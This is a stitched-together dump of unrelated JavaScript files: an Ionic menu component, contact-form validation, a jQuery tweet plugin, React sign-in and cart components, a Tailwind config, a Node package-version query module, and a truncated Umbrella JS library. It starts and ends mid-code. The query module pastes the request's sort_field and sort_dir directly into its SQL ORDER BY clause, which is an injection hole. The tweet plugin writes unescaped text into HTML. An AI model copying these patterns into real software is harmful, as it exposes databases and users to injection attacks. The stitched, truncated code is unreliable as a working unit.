Object(i.f)(this)}}],[{key:"watchers",get:function(){return{type:["typeChanged"],disabled:["disabledChanged"],side:["sideChanged"],swipeGesture:["swipeGestureChanged"]}}},{key:"style",get:function(){return":host{--width:304px;--min-width:auto;--max-width:auto;--height:100%;--min-height:auto;--max-height:auto;--background:var(--ion-background-color,#fff);left:0;right:0;top:0;bottom:0;display:none;position:absolute;contain:strict}:host(.show-menu){display:block}.menu-inner{left:0;right:auto;top:0;bottom:0;-webkit-transform:translate3d(-9999px,0,0);transform:translate3d(-9999px,0,0);display:-ms-flexbox;display:flex;position:absolute;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:justify;justify-content:space-between;width:var(--width);min-width:var(--min-width);max-width:var(--max-width);height:var(--height);min-height:var(--min-height);max-height:var(--max-height);background:var(--background);contain:strict}:host-context([dir=rtl]) .menu-inner,[dir=rtl] .menu-inner{left:unset;right:unset;left:auto;right:0;-webkit-transform:translate3d(calc(-1 * -9999px),0,0);transform:translate3d(calc(-1 * -9999px),0,0)}:host(.menu-side-start) .menu-inner{--ion-safe-area-right:0px;right:auto;left:0}:host(.menu-side-end) .menu-inner{--ion-safe-area-left:0px;right:0;left:auto}ion-backdrop{display:none;opacity:.01;z-index:-1}@media (max-width:340px){.menu-inner{--width:264px}}:host(.menu-type-reveal){z-index:0}:host(.menu-type-reveal.show-menu) .menu-inner{-webkit-transform:translateZ(0);transform:translateZ(0)}:host(.menu-type-overlay){z-index:1000}:host(.menu-type-overlay) .show-backdrop{display:block;cursor:pointer}:host(.menu-pane-visible){width:var(--width);min-width:var(--min-width);max-width:var(--max-width)}:host(.menu-pane-visible) .menu-inner{left:0;right:0;width:auto;-webkit-transform:none!important;transform:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}:host(.menu-pane-visible) ion-backdrop{display:hidden!important}:host(.menu-type-overlay) .menu-inner{-webkit-box-shadow:4px 0 16px rgba(0,0,0,.18);box-shadow:4px 0 16px rgba(0,0,0,.18)}"}}]),e}(),l=function(e,t,n){return Math.max(0,t!==n?-e:e)},d=function(e,t,n,i){return n?t>=e.innerWidth-i:t<=i},p="show-menu",m="show-backdrop",b="menu-content-open",f=function(){var e=_asyncToGenerator(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,c.a.get(t);case 2:if(n=e.sent,e.t0=!n,e.t0){e.next=8;break}return e.next=7,n.isActive();case 7:e.t0=!e.sent;case 8:return e.abrupt("return",!e.t0);case 9:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),g=function(){function e(t){var n=this;_classCallCheck(this,e),Object(i.k)(this,t),this.visible=!1,this.disabled=!1,this.autoHide=!0,this.type="button",this.onClick=_asyncToGenerator(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.abrupt("return",c.a.toggle(n.menu));case 1:case"end":return e.stop()}}),e)})))}var t;return _createClass(e,[{key:"componentDidLoad",value:function(){this.visibilityChanged()}},{key:"visibilityChanged",value:(t=_asyncToGenerator(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,f(this.menu);case 2:this.visible=e.sent;case 3:case"end":return e.stop()}}),e,this)}))),function(){return t.apply(this,arguments)})},{key:"render",value:function(){var e=this.color,t=this.disabled,n=Object(i.d)(this),o=r.b.get("menuIcon","ios"===n?"menu-outline":"menu-sharp"),a=this.autoHide&&!this.visible,s={type:this.type};return Object(i.i)(i.a,{onClick:this.onClick,"aria-disabled":t?"true":null,"aria-hidden":a?"true":null,class:Object.assign(Object.assign(_defineProperty({},n,!0),Object(u.a)(e)),{button:!0,"menu-button-hidden":a,"menu-button-disabled":t,"in-toolbar":Object(u.c)("ion-toolbar",this.el),"ion-activatable":!0,"ion-focusable":!0})},Object(i.i)("button",Object.assign({},s,{disabled:t,class:"button-native"}),Object(i.i)("span",{class:"button-inner"},Object(i.i)("slot",null,Object(i.i)("ion-icon",{icon:o,mode:n,lazy:!1}))),"md"===n&&Object(i.i)("ion-ripple-effect",{type:"unbounded"})))}},{key:"el",get:function(){return Object(i.f)(this)}}],[{key:"style",get:function(){return':host{--background:transparent;--color-focused:currentColor;--border-radius:initial;--padding-top:0;--padding-bottom:0;color:var(--color);text-align:center;text-decoration:none;text-overflow:ellipsis;text-transform:none;white-space:nowrap;-webkit-font-kerning:none;font-kerning:none}.button-native{border-radius:var(--border-radius);font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;text-decoration:inherit;text-indent:inherit;text-overflow:inherit;text-transform:inherit;text-align:inherit;white-space:inherit;color:inherit;margin-left:0;margin-right:0;margin-top:0;margin-bottom:0;padding-left:var(--padding-start);padding-right:var(--padding-end);padding-top:var(--padding-top);padding-bottom:var(--padding-bottom);-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:-ms-flexbox;display:flex;position:relative;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-negative:0;flex-shrink:0;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:100%;height:100%;border:0;outline:none;background:var(--background);line-height:1;cursor:pointer;overflow:hidden;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:0;-webkit-appearance:none;-moz-appearance:none;appearance:none}@supports ((-webkit-margin-start:0) or (margin-inline-start:0)) or (-webkit-margin-start:0){.button-native{padding-left:unset;padding-right:unset;-webkit-padding-start:var(--padding-start);padding-inline-start:var(--padding-start);-webkit-padding-end:var(--padding-end);padding-inline-end:var(--padding-end)}}.button-inner{display:-ms-flexbox;display:flex;position:relative;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-negative:0;flex-shrink:0;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:100%;height:100%;z-index:1}ion-icon{margin-left:0;margin-right:0;margin-top:0;margin-bottom:0;padding-left:0;padding-right:0;padding-top:0;padding-bottom:0;pointer-events:none}:host(.menu-button-hidden){display:none}:host(.menu-button-disabled){cursor:default;opacity:.5;pointer-events:none}:host(.ion-focused) .button-native{color:var(--color-focused)}:host(.ion-focused) .button-native:after{background:var(--background-focused);opacity:var(--background-focused-opacity)}.button-native:after{left:0;right:0;top:0;bottom:0;position:absolute;content:"";opacity:0}@media (any-hover:hover){:host(:hover) .button-native{color:var(--color-hover)}:host(:hover) .button-native:after{background:var(--background-hover);opacity:var(--background-hover-opacity,0)}}:host(.ion-color) .button-native{color:var(--ion-color-base)}:host(.in-toolbar){color:var(--ion-toolbar-color,var(--color))}:host{--background-focused:currentColor;--background-focused-opacity:.12;--background-hover:currentColor;--background-hover-opacity:.04;--border-radius:50%;--color:initial;--padding-start:8px;--padding-end:8px;width:48px;height:48px;font-size:24px}:host(.ion-color.ion-focused):after{background:var(--ion-color-base)}@media (any-hover:hover){:host(.ion-color:hover) .button-native:after{background:var(--ion-color-base)}}'}}]),e}(),v=function(){function e(t){var n=this;_classCallCheck(this,e),Object(i.k)(this,t),this.visible=!1,this.autoHide=!0,this.onClick=function(){return c.a.toggle(n.menu)}}var t;return _createClass(e,[{key:"connectedCallback",value:function(){this.visibilityChanged()}},{key:"visibilityChanged",value:(t=_asyncToGenerator(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,f(this.menu);case 2:this.visible=e.sent;case 3:case"end":return e.stop()}}),e,this)}))),function(){return t.apply(this,arguments)})},{key:"render",value:function(){var e,t=Object(i.d)(this),n=this.autoHide&&!this.visible;return Object(i.i)(i.a,{onClick:this.onClick,"aria-hidden":n?"true":null,class:(e={},_defineProperty(e,t,!0),_defineProperty(e,"menu-toggle-hidden",n),e)},Object(i.i)("slot",null))}}],[{key:"style",get:function(){return":host(.menu-toggle-hidden){display:none}"}}]),e}()}}]);
function validacionForm() { event.preventDefault(); let c1 = document.forms["form-contacto"]["nombre"]; let c2 = document.forms["form-contacto"]["apellido"]; let c3 = document.forms["form-contacto"]["email"]; let c5 = document.forms["form-contacto"]["consulta"]; let campos = [c1, c2, c3, c5]; if (validarVacio(campos) && validarCantidad() && validarMail(c3) && validarFecha()) { alert("Mail enviado"); formReset() } } function documentosOnchange() { if (document.forms["form-contacto"]["tieneDocumentos"].value == "Si") { let campo = document.forms["form-contacto"]["documentos"]; campo.classList.remove("hide"); const br = document.createElement('br'); campo.appendChild(br); } else { document.forms["form-contacto"]["documentos"].classList.add("hide"); } } function reunionOnchange() { if (document.forms["form-contacto"]["quiereReunion"].value == "Si") { var campo = document.forms["form-contacto"]["fechaReunion"]; campo.classList.remove("hide"); const br = document.createElement('br'); campo.appendChild(br); } else { document.forms["form-contacto"]["fechaReunion"].classList.add("hide"); } } function validarFecha() { let exito = true; let e = document.getElementById("fechaReunion"); let fecha = e.value; let fechaDividida = fecha.split("-"); let dd = fechaDividida[2]; let mm = fechaDividida[1]; let yyyy = fechaDividida[0]; let today = new Date(); let ddA = String(today.getDate()).padStart(2, '0'); let mmA = String(today.getMonth() + 1).padStart(2, '0'); let yyyyA = today.getFullYear(); if (document.forms["form-contacto"]["quiereReunion"].value == "Si") { if (fecha != '' && yyyy > yyyyA) { e.classList.remove("invalido"); } else if (yyyy == yyyyA) { if (mm > mmA) { e.classList.remove("invalido"); } else if (mm == mmA) { if (dd > ddA) { e.classList.remove("invalido"); } else { e.classList.add("invalido"); exito = false; } } else { e.classList.add("invalido"); exito = false; } } else { e.classList.add("invalido"); exito = false; } } return exito; } function validarCantidad() { let exito = true; let e = document.getElementById("documentos"); let num = e.value; if (document.forms["form-contacto"]["tieneDocumentos"].value == "Si") { if (num != '' && num >= 1) { e.classList.remove("invalido"); } else { e.classList.add("invalido"); exito = false; } } return exito; } function validarMail(c3) { let exito = true; let regex = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/gmi; let valor = c3.value; if (regex.test(valor)) { c3.classList.remove("invalido"); } else { c3.classList.add("invalido"); exito = false; } return exito; } function validarVacio(campos) { let exito = true; campos.forEach(campo => { let e = document.getElementById(campo.name); if (campo.value.trim() == "") { e.classList.add("invalido"); exito = false; } else { e.classList.remove("invalido"); } }); exito = validarVacioDocumentos(exito); exito = validarVacioFecha(exito); return exito; } function validarVacioDocumentos(exito) { let doc = document.getElementById("documentos"); if (document.forms["form-contacto"]["tieneDocumentos"].value == "Si") { if (doc.value.trim() == "") { doc.classList.add("invalido"); exito = false; } else { doc.classList.remove("invalido"); } } else { doc.classList.remove("invalido"); } return exito; } function validarVacioFecha(exito) { let reu = document.getElementById("fechaReunion"); if (document.forms["form-contacto"]["quiereReunion"].value == "Si") { if (reu.value.trim() == "") { reu.classList.add("invalido"); exito = false; } else { reu.classList.remove("invalido"); } } else { reu.classList.remove("invalido"); } return exito; } function formReset() { document.getElementById("form-contacto").reset(); document.forms["form-contacto"]["fechaReunion"].classList.add("hide"); document.forms["form-contacto"]["documentos"].classList.add("hide"); }
(function(f){f.fn.twittie=function(e,l){var p="function"===typeof e?e:l,c=f.extend({username:null,list:null,hashtag:null,count:10,hideReplies:!1,dateFormat:"%b/%d/%Y",template:"{{date}} - {{tweet}}",apiPath:"api/tweet.php"},e instanceof Object?e:{});c.list&&!c.username&&f.error("If you want to fetch tweets from a list, you must define the username of the list owner.");var m=function(c){return c.replace(/(https?:\/\/([-\w\.]+)+(:\d+)?(\/([\w\/_\.]*(\?\S+)?)?)?)/ig,'<a href="../$1" target="_blank" title="Visit this link">$1</a>').replace(/#([a-zA-Z0-9_]+)/g, '<a href="http://twitter.com/search?q=%23$1&amp;src=hash" target="_blank" title="Search for #$1">#$1</a>').replace(/@([a-zA-Z0-9_]+)/g,'<a href="http://twitter.com/$1" target="_blank" title="$1 on Twitter">@$1</a>')},q=function(g){for(var d=c.template,a="date tweet avatar url retweeted screen_name user_name".split(" "),h=0,b=a.length;h<b;h++)d=d.replace(new RegExp("{{"+a[h]+"}}","gi"),g[a[h]]);return d};this.html("<span>Loading...</span>");var n=this;f.getJSON(c.apiPath,{username:c.username,list:c.list, hashtag:c.hashtag,count:c.count,exclude_replies:c.hideReplies},function(g){n.find("span").fadeOut("fast",function(){n.html("<ul></ul>");for(var d=0;d<c.count;d++){var a=!1;if(g[d])a=g[d];else if(void 0!==g.statuses&&g.statuses[d])a=g.statuses[d];else break;for(var h=a.user.name,b=a.created_at,b=b.split(" "),b=new Date(Date.parse(b[1]+" "+b[2]+", "+b[5]+" "+b[3]+" UTC")),k="January February March April May June July August September October November December".split(" "),b={"%d":b.getDate(),"%m":b.getMonth()+ 1,"%b":k[b.getMonth()].substr(0,3),"%B":k[b.getMonth()],"%y":String(b.getFullYear()).slice(-2),"%Y":b.getFullYear()},k=c.dateFormat,f=c.dateFormat.match(/%[dmbByY]/g),e=0,l=f.length;e<l;e++)k=k.replace(f[e],b[f[e]]);a={user_name:h,date:k,tweet:a.retweeted?m("RT @"+a.user.screen_name+": "+a.retweeted_status.text):m(a.text),avatar:'<img src="'+a.user.profile_image_url+'" />',url:"http://twitter.com/"+a.user.screen_name+"/status/"+a.id_str,retweeted:a.retweeted,screen_name:m("@"+a.user.screen_name)}; n.find("ul").append("<li>"+q(a)+"</li>")}"function"===typeof p&&p()})})}})(jQuery);
import React from 'react' import * as yup from 'yup' import { Formik, Field, Form } from 'formik' import { Button } from 'semantic-ui-react' import { withDeviceWidth } from '../DeviceWidth' import './SignIn.css' const SignInSchema = yup.object().shape({ email: yup.string() .required('Campo obrigatório') .email('Endereço de email inválido') .max(64, 'Tamanho máximo de 64 catacteres'), password: yup.string() .required('Campo obrigatório') .max(60, 'Tamanho máximo de 60 catacteres') }) const SignIn = ({ isDesktop, auth, viewer }) => ( <div className='SignIn'> <h2>Acessar Conta</h2> <Formik initialValues={{ email: '', password: '' }} validationSchema={SignInSchema} onSubmit={async ({ email, password }, { setSubmitting }) => { try { await auth.signIn(email, password) } catch (error) { setSubmitting(false) } }} render={({ values, errors, touched, handleChange, setFieldValue, handleBlur, handleSubmit, isSubmitting }) => ( <Form className={`ui form${isSubmitting ? ' loading' : ''}${isDesktop ? ' small' : ' big'}`}> <div className='App-form-field'> <label htmlFor='email'>Email</label> <Field name='email' placeholder='Email' type='email' /> {errors.email && touched.email && ( <div className='App-form-error'>{errors.email}</div> )} </div> <div className='App-form-field'> <label htmlFor='password'>Senha</label> <Field name='password' placeholder='Senha' type='password' /> {errors.password && touched.password && ( <div className='App-form-error'>{errors.password}</div> )} </div> <div className='App-form-field'> <Button type='submit' primary fluid size={`${isDesktop ? 'small' : 'big'}`} > Acessar </Button> </div> </Form> )} /> </div> ) export default withDeviceWidth(SignIn)
const colors = require('tailwindcss/colors'); module.exports = { theme: { extend: { spacing: { 1: '0.3rem', 2: '0.6rem', // 标准上下padding 3: '0.8rem', 4: '1rem', 5: '1.5rem', 6: '2rem', 7: '2.5rem', 8: '3rem', 9: '3.5rem', 10: '5rem', 11: '8rem', 12: '12rem', 13: '16rem', 14: '20rem', 15: '25rem', 16: '32rem', 72: '216rem', 84: '252rem', 96: '288rem', }, }, width: { '0' : '0rem', '0.5' : '0.125rem', '1' : '0.25rem', '1.5' : '0.375rem', '2' : '0.5rem', '2.5' : '0.625rem', '3' : '0.75rem', '3.5' : '0.875rem', '4' : '1rem', '5' : '1.25rem', '6' : '1.5rem', '7' : '1.75rem', '8' : '2rem', '9' : '2.25rem', '10' : '2.5rem', '11' : '2.75rem', '12' : '3rem', '14' : '3.5rem', '16' : '4rem', '20' : '5rem', '24' : '6rem', '28' : '7rem', '32' : '8rem', '36' : '9rem', '40' : '10rem', // 标准宽度 '44' : '11rem', '48' : '12rem', '52' : '13rem', '56' : '14rem', '60' : '15rem', '64' : '16rem', '72' : '18rem', '80' : '20rem', '96' : '24rem', 'auto' : 'auto', 'px' :'1px', '1/2' :'50%', '1/3' :'33.333333%', '2/3' :'66.666667%', '1/4' :'25%', '2/4' :'50%', '3/4' :'75%', '1/5' :'20%', '2/5' :'40%', '3/5' :'60%', '4/5' :'80%', '1/6' :'16.666667%', '2/6' :'33.333333%', '3/6' :'50%', '4/6' :'66.666667%', '5/6' :'83.333333%', '1/12' :'8.333333%', '2/12' :'16.666667%', '3/12' :'25%', '4/12' :'33.333333%', '5/12' :'41.666667%', '6/12' :'50%', '7/12' :'58.333333%', '8/12' :'66.666667%', '9/12' :'75%', '10/12' :'83.333333%', '11/12' :'91.666667%', 'full' :'100%', 'screen':'100vw', 'min' :'min-content', 'max' : 'max-content', }, fontSize: { '3xs': ['0.9rem', '0.9rem'], '2xs': ['1rem', '1rem'], 'xs': ['1.1rem', '1.1rem'], // 标准字号 'sm': ['1.2rem', '1.2rem'], 'tiny': ['1.4rem', '1.4rem'], 'base': ['1.6rem', '1.6rem'], 'lg': ['1.8rem', '1.8rem'], 'xl':['2.2rem', '2.2rem'], '2xl': ['2.7rem', '2.7rem'], '3xl': ['3.6rem', '3.6rem'], '4xl': ['4.8rem', '4.8rem'], '5xl': ['6.0rem', '6.0rem'], '6xl': ['7.2rem', '7.2rem'], '7xl': ['9.0rem', '9.0rem'], }, colors: { cgray: { light: colors.trueGray[400], DEFAULT: colors.trueGray[400], dark: colors.trueGray[600], 50: colors.trueGray[50], 100: colors.trueGray[100], 200: colors.trueGray[200], 300: colors.trueGray[300], 400: colors.trueGray[400], 500: colors.trueGray[500], 600: colors.trueGray[600], 700: colors.trueGray[700], 800: colors.trueGray[800], 900: colors.trueGray[900], }, error: { light: colors.red[400], DEFAULT: colors.red[400], dark: colors.red[600], }, alert: { light: colors.blue[700], DEFAULT: colors.blue[700], dark: colors.blue[300], }, active: { light: colors.blue[400], DEFAULT: colors.blue[400], dark: colors.blue[400], }, blue: { DEFAULT: colors.blue[400], }, }, transitionDuration:{ 100: '0ms', 200: '0ms' }, }, // Extend Tailwind theme variants: { extend: { backgroundColor: ['active'], }, }, colors: { primary: colors.trueGray[500], secondary: '#009688', error: colors.red[600], success: '#4caf50', alert: colors.blue[300], blue: '#2196f3', dark: '#212121', }, darkMode: true, };
const db = require('../util/pghelper'); const Status = { Verified: "Verified", PreRelease: "Pre-Release", Preview: "Preview", Limited: "Limited", }; const SELECT_ALL = `SELECT pv.id, pv.sfid, pv.name, pv.version_number, pv.version_sort, pv.package_id, pv.release_date, pv.created_date, pv.status, pv.version_id, p.package_org_id, p.name as package_name, p.dependency_tier FROM package_version pv INNER JOIN package p on p.sfid = pv.package_id`; const SELECT_ALL_IN_ORG = `SELECT pv.id, pv.sfid, pv.name, pv.version_number, pv.version_sort, pv.package_id, pv.release_date, pv.created_date, pv.status, pv.version_id, p.package_org_id, p.name as package_name, p.dependency_tier, pvl.version_number latest_version_number, pvl.version_id latest_version_id, pvl.version_sort latest_version_sort, pvl.limited_version_number latest_limited_version_number, pvl.limited_version_id latest_limited_version_id, pvl.limited_version_sort latest_limited_version_sort, op.org_id, op.license_status, op.install_date, op.modified_date, o.instance, o.type, o.edition, a.account_name FROM package_version pv INNER JOIN package p on p.sfid = pv.package_id INNER JOIN package_version_latest pvl ON pvl.package_id = pv.package_id INNER JOIN org_package_version op ON op.version_id = pv.version_id INNER JOIN org o ON o.org_id = op.org_id LEFT JOIN account a ON a.account_id = o.account_id`; const SELECT_ALL_IN_ORG_GROUP = SELECT_ALL_IN_ORG + ` INNER JOIN org_group_member gm ON gm.org_id = op.org_id`; async function requestAll(req, res, next) { try { let recs = await findAll( req.query.sort_field, req.query.sort_dir, req.query.status, req.query.packageIds, req.query.packageOrgIds, req.query.licensedOrgIds, req.query.orgGroupIds); return res.send(JSON.stringify(recs)); } catch (e) { next(e); } } async function findAll(sortField, sortDir, status, packageIds, packageOrgIds, licensedOrgIds, orgGroupIds) { let whereParts = [], values = [], select = SELECT_ALL; if (status && status !== "All") { status = status.split(","); let params = status.map((v,i) => '$' + (values.length + i + 1)); whereParts.push(`pv.status IN (${params.join(",")})`); values = values.concat(status); } if (packageIds) { packageIds = packageIds.split(","); let params = packageIds.map((v,i) => '$' + (values.length + i + 1)); whereParts.push(`pv.package_id IN (${params.join(",")})`); values = values.concat(packageIds); } if (packageOrgIds) { packageOrgIds = packageOrgIds.split(","); let params = packageOrgIds.map((v,i) => '$' + (values.length + i + 1)); whereParts.push(`p.package_org_id IN (${params.join(",")})`); values = values.concat(packageOrgIds); } if (licensedOrgIds) { select = SELECT_ALL_IN_ORG; licensedOrgIds = licensedOrgIds.split(","); let params = licensedOrgIds.map((v,i) => '$' + (values.length + i + 1)); whereParts.push(`op.org_id IN (${params.join(",")})`); values = values.concat(licensedOrgIds); } else if (orgGroupIds) { select = SELECT_ALL_IN_ORG_GROUP; orgGroupIds = orgGroupIds.split(","); let params = orgGroupIds.map((v,i) => '$' + (values.length + i + 1)); whereParts.push(`gm.org_group_id IN (${params.join(",")})`); values = values.concat(orgGroupIds); } let where = whereParts.length > 0 ? (" WHERE " + whereParts.join(" AND ")) : ""; let orderBy = ` ORDER BY ${sortField === "version_number" ? "version_sort" : sortField || "created_date"} ${sortDir || "desc"}, package_name`; return db.query(select + where + orderBy, values); } async function requestById(req, res, next) { const id = req.params.id; findByVersionIds([id]) .then(recs => recs.length === 0 ? next(new Error(`Cannot find any record with id ${id}`)) : res.json(recs[0])) .catch(next); } async function findByVersionIds(versionIds) { const select = SELECT_ALL; const params = versionIds.map((v,i) => '$' + (i + 1)); const where = ` WHERE pv.version_id IN (${params.join(",")})`; return db.query(select + where, versionIds); } async function findNewerVersions(packageId, versionSort) { const select = SELECT_ALL; const where = ` WHERE pv.package_id = $1 AND version_sort >= $2`; return db.query(select + where, [packageId, versionSort]); } exports.requestAll = requestAll; exports.requestById = requestById; exports.findByVersionIds = findByVersionIds; exports.findNewerVersions = findNewerVersions; exports.Status = Status;
import React, { useEffect, useState } from 'react'; import { Link } from 'react-router-dom'; import { useDispatch, useSelector } from 'react-redux'; import { Row, Col, ListGroup, Image, Form, Button, Card, Container, Modal } from 'react-bootstrap'; import ErrorMessage from '../components/ErrorMessage'; import Loading from '../components/Loading'; import { removeFromCart, getCart } from '../actions/userReducerActions'; import Snackbar from '../components/Snackbar'; import { createOrderFromCart } from '../actions/orderReducerActions'; import Meta from '../components/Meta'; const Cart = ({ history }) => { const [open, setOpen] = useState(false); const [placeOrderPrompt, setPlaceOrderPrompt] = useState(false); const dispatch = useDispatch(); const userInfo = useSelector((state) => state.userInfo); const { loading, isLogged, error, removeFromCartSuccess, user } = userInfo; const ordersInfo = useSelector((state) => state.ordersInfo); const { loading: orderLoading, created, error: orderError, createdOrder } = ordersInfo; useEffect(() => { if (open) { setTimeout(() => setOpen(false), 3000); } }, [open]); useEffect(() => { if (removeFromCartSuccess) { setOpen(true); dispatch({ type: 'USER_CART_RESET' }); } }, [dispatch, removeFromCartSuccess]); useEffect(() => { if (!isLogged) { history.push('/'); } else { dispatch(getCart()); } }, [dispatch, history, isLogged]); useEffect(() => { if (createdOrder) { history.push(`orders/${createdOrder.orderID}`); } }, [history, createdOrder]); const removeTicketFromCart = (eventID) => { dispatch(removeFromCart(eventID)); }; const placeOrderHandler = () => { setPlaceOrderPrompt(true); }; const proceedToCheckoutHandler = () => { setPlaceOrderPrompt(false); dispatch(createOrderFromCart()); }; return ( <> <Meta title='Eventify | My Cart' /> <Container> {orderLoading ? ( <Loading /> ) : orderError ? ( <ErrorMessage variant='danger'>{orderError}</ErrorMessage> ) : ( <> {error && <ErrorMessage variant='danger'>{error}</ErrorMessage>} {open && <Snackbar open={open} variant='success' message='Removed Item From Cart' />} {placeOrderPrompt && ( <Modal show={placeOrderPrompt}> <Modal.Header> <Modal.Title>Attention!</Modal.Title> </Modal.Header> <Modal.Body> Placing an order will clear your cart contents and you'll be redirected to Checkout to finish your payment process, If you wish to add or remove your cart contents, you may close this window and do so now. </Modal.Body> <Modal.Footer> <Button variant='secondary' onClick={() => setPlaceOrderPrompt(false)}> Close </Button> <Button variant='primary' onClick={proceedToCheckoutHandler}> Proceed To Checkout </Button> </Modal.Footer> </Modal> )} <Row> {loading ? ( <Loading /> ) : ( <> <Col md={8} className='mb-3'> <h1>Ticket Cart</h1> {isLogged && user.cart.length === 0 ? ( <ErrorMessage variant='info'> Your cart is empty <Link to='/'>Go Home</Link> </ErrorMessage> ) : ( isLogged && ( <> <ListGroup variant='flush'> {user.cart.map((ticket) => ( <ListGroup.Item key={ticket._id}> <Row> <Col xs={6} md={6}> <Link to={`/event/details/${ticket.eventID}`} > {ticket.name} </Link> </Col> <Col xs={4} md={4}> ${ticket.ticketPrice} </Col> <Col xs={2} md={1}> <Button type='button' variant='light' onClick={() => removeTicketFromCart( ticket.eventID ) } > <i className='fas fa-trash'></i> </Button> </Col> </Row> </ListGroup.Item> ))} </ListGroup> </> ) )} </Col> {isLogged && ( <Col md={4}> <ListGroup variant='flush'> <ListGroup.Item> <h2> Subtotal ( {user.cart.reduce((acc, ticket) => acc + 1, 0)}) tickets </h2> </ListGroup.Item> <ListGroup.Item> <Row> <Col xs={9} md={9}> Items Total: </Col> <Col> $ {user.cart .reduce( (acc, ticket) => acc + ticket.ticketPrice, 0 ) .toFixed(2)} </Col> </Row> </ListGroup.Item> <ListGroup.Item> <Row> <Col xs={9} md={9}> Fees: </Col> <Col> $ {user.cart .reduce( (acc, ticket) => acc + 0.05 * ticket.ticketPrice, 0 ) .toFixed(2)} </Col> </Row> </ListGroup.Item> <ListGroup.Item> <Row> <Col xs={9} md={9}> Total: </Col> <Col> $ {user.cart .reduce( (acc, ticket) => acc + 1.05 * ticket.ticketPrice, 0 ) .toFixed(2)} </Col> </Row> </ListGroup.Item> <ListGroup.Item> <Button type='button' className='btn-block' disabled={user.cart.length === 0 || loading} onClick={placeOrderHandler} > Place Order </Button> </ListGroup.Item> </ListGroup> </Col> )} </> )} </Row> </> )} </Container> </> ); }; export default Cart;
import { pascalCaseFilename } from "core/utils" const request = require.context(".", true, /\.jsx?$/) const allPlugins = {} request.keys().forEach( function( key ){ if( key === "./index.js" ) { return } // if( key.slice(2).indexOf("/") > -1) { // // skip files in subdirs // return // } let mod = request(key) allPlugins[pascalCaseFilename(key)] = mod.default ? mod.default : mod }) export default allPlugins
/* Umbrella JS 3.2.3 umbrellajs.com https://raw.githubusercontent.com/justingolden21/umbrella/master/umbrella.min.js */ var u=function(t,e){return this instanceof u?t instanceof u?t:("string"==typeof t&&(t=this.select(t,e)),t&&t.nodeName&&(t=[t]),void(this.nodes=this.slice(t))):new u(t,e)};u.prototype={get length(){return this.nodes.length}},u.prototype.nodes=[],u.prototype.addClass=function(){return this.eacharg(arguments,function(t,e){t.classList.add(e)})},u.prototype.adjacent=function(i,t,n){return"number"==typeof t&&(t=0===t?[]:new Array(t).join().split(",").map(Number.call,Number)),this.each(function(r,o){var e=document.createDocumentFragment();u(t||{}).map(function(t,e){var n="function"==typeof i?i.call(this,t,e,r,o):i;return"string"==typeof n?this.generate(n):u(n)}).each(function(t){this.isInPage(t)?e.appendChild(u(t).clone().first()):e.appendChild(t)}),n.call(this,r,e)})},u.prototype.after=function(t,e){return this.adjacent(t,e,function(t,e){t.parentNode.insertBefore(e,t.nextSibling)})},u.prototype.append=function(t,e){return this.adjacent(t,e,function(t,e){t.appendChild(e)})},u.prototype.args=function(t,e,n){return"function"==typeof t&&(t=t(e,n)),"string"!=typeof t&&(t=this.slice(t).map(this.str(e,n))),t.toString().split(/[\s,]+/).filter(function(t){return t.length})},u.prototype.array=function(o){o=o;var i=this;return this.nodes.reduce(function(t,e,n){var r;return o?((r=o.call(i,e,n))||(r=!1),"string"==typeof r&&(r=u(r)),r instanceof u&&(r=r.nodes)):r=e.innerHTML,t.concat(!1!==r?r:[])},[])},u.prototype.attr=function(t,e,r){return r=r?"data-":"",this.pairs(t,e,function(t,e){return t.getAttribute(r+e)},function(t,e,n){t.setAttribute(r+e,n)})},u.prototype.before=function(t,e){return this.adjacent(t,e,function(t,e){t.parentNode.insertBefore(e,t)})},u.prototype.children=function(t){return this.map(function(t){return this.slice(t.children)}).filter(t)},u.prototype.clone=function(){return this.map(function(t,e){var n=t.cloneNode(!0),r=this.getAll(n);return this.getAll(t).each(function(t,e){for(var n in this.mirror)this.mirror[n]&&this.mirror[n](t,r.nodes[e])}),n})},u.prototype.getAll=function(t){return u([t].concat(u("*",t).nodes))},u.prototype.mirror={},u.prototype.mirror.events=function(t,e){if(t._e)for(var n in t._e)t._e[n].forEach(function(t){u(e).on(n,t.callback)})},u.prototype.mirror.select=function(t,e){u(t).is("select")&&(e.value=t.value)},u.prototype.mirror.textarea=function(t,e){u(t).is("textarea")&&(e.value=t.value)},u.prototype.closest=function(e){return this.map(function(t){do{if(u(t).is(e))return t}while((t=t.parentNode)&&t!==document)})},u.prototype.css=function(e,n){if("object"!=typeof e)return e=e.replace(/-([a-z])/g,function(t){return t[1].toUpperCase()}),void 0===n?this.first().style[e]:("number"==typeof n&&(n+="px"),this.each(function(t){t.style[e]=n}));for(var t in e)e.hasOwnProperty(t)&&this.css(t,e[t]);return this},u.prototype.data=function(t,e){return this.attr(t,e,!0)},u.prototype.each=function(t){return this.nodes.forEach(t.bind(this)),this},u.prototype.eacharg=function(n,r){return this.each(function(e,t){this.args(n,e,t).forEach(function(t){r.call(this,e,t)},this)})},u.prototype.empty=function(){return this.each(function(t){for(;t.firstChild;)t.removeChild(t.firstChild)})},u.prototype.filter=function(e){var t=function(t){return 